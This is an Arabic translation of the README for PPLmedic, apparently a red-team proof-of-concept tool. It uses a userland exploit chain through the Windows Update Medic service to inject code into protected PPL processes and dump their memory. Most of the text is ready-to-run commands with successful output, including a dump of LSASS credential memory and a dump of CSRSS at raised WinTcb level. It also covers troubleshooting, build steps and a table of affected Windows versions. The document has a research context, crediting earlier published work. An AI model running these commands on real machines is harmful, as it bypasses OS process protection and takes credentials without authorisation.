
تفريغ ذاكرة أي PPL باستخدام سلسلة استغلال في مساحة المستخدم
تنفّذ هذه الأداة سلسلة استغلال في مساحة المستخدم (Userland) لحقن كود تعسفي في عملية PPL بنوع الموقّع Windows ورفع مستوى نوع الموقّع إلى WinTcb. نوقشت هذه التقنيات في الأصل بواسطة James Forshaw (المعروف بـ @tiraniddo) في مقالته حقن كود في عمليات Windows المحمية باستخدام COM - الجزء 1.
لمعرفة المزيد حول هذه الأداة، يجب عليك قراءة مقالة المدونة المرافقة لها هنا:
أودّ وصف هذه الأداة بأنها إثبات مفهوم متقدّم. يجب أن تفكر مرتين قبل استخدامها في اختبار حقيقي. إنها آمنة للاستخدام طالما لم تتم مقاطعتها، وهو ما لا يمكن ضمانه في وجود EDR على سبيل المثال.
تقوم بتعديل مفاتيح تسجيل مهمة متعلقة بخدمة Windows Update Medic. في أسوأ الأحوال، إذا لم تتم استعادة مفاتيح التسجيل هذه بشكل صحيح، فقد تفشل هذه الخدمة في العمل بشكل صحيح، لكن هذا لن يؤدي إلى انهيار نظام التشغيل.
المتطلبات الأساسية:
SeDebugPrivilegeREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
قم بتفريغ ذاكرة عملية PPL-Windows أو أقل (مثال: LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
قم بتفريغ ذاكرة عملية PPL-WinTcb (مثال: CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
تحصل على الخطأ التالي لأن الاستغلال انتهت مهلة انتظاره أثناء محاولة إنشاء كائن TaskHandler COM عن بُعد. عادةً ما يكون هذا علامة على أن الخدمة المستهدفة WaaSMedicSvc قد انهارت. يمكن تأكيد ذلك من خلال الرسالة التالية: [!] Service WaaSMedicSvc is no longer running. يجب أن تحاول تشغيل الأداة مرة أخرى.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
تحصل على الخطأ التالي لأن الاستغلال فشل في كتابة دليل كائن صالح خلال أقل من 1000 محاولة. يعمل هذا الحد كآلية أمان لمنع الخدمة المستهدفة من استهلاك الكثير من الموارد. يجب أن تحاول تشغيل الأداة مرة أخرى.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
تحصل على الخطأ التالي بسبب حدوث خطأ غير متوقع عند استدعاء LaunchDetectionOnly أو LaunchRemediationOnly. لكن هذا يجب أن يكون نادراً جداً. يجب أن تحاول تشغيل الأداة مرة أخرى.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
تحصل على الخطأ التالي لأن الاستغلال فشل في التوقيع المخبأ لملف DLL الحمولة. على الأرجح أن oplock المضبوط على ملف الكتالوج لم يتم تفعيله أبداً لأنه كان مفتوحاً بالفعل بواسطة Kernel. يمكنك محاولة إعادة تشغيل الأداة في وقت لاحق (بالنسبة لنظام Windows 11، راجع قسم "الاختبارات").
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
يتكوّن حل Visual Studio هذا من مشروعين (الملف التنفيذي وملف DLL الحمولة) يجب تجميعهما بترتيب معين. كل شيء مُعدّ مسبقاً، لذا عليك فقط اتباع هذه التعليمات البسيطة. يتم تضمين ملف DLL الحمولة المُجمّع تلقائياً في الملف التنفيذي النهائي.
Release / x64 (x86 غير مدعوم!).Build > Build Solution.| إصدار Windows | PPL-Windows | PPL-WinTcb | ملاحظة |
|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | انهيار متكرر للخدمة + استغلال التوقيع المخبأ المزيّف لا يبدو أنه يعمل. |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |